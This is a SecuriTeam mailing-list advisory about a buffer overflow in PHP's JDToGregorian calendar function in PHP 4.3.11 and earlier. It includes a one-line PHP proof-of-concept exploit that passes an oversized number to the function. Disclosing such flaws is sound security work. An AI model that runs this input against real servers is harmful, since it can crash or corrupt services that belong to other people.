[NEWS] PHP Calendar Buffer Overflow

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html

- - - - - - - - -

PHP Calendar Buffer Overflow
------------------------------------------------------------------------

SUMMARY

PHP's Calendar function JDToGregorian allows remote attackers to overflow
a buffer utilized by the function by providing it with a very large number
as its input.

DETAILS

Vulnerable Systems:
* PHP version 4.3.11 and prior

Exploit:
<?php

JDToGregorian(999999999);

?>

ADDITIONAL INFORMATION

The information has been provided by <mailto:FistFuXXer@gmx.de>
FistFucker.

========================================

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.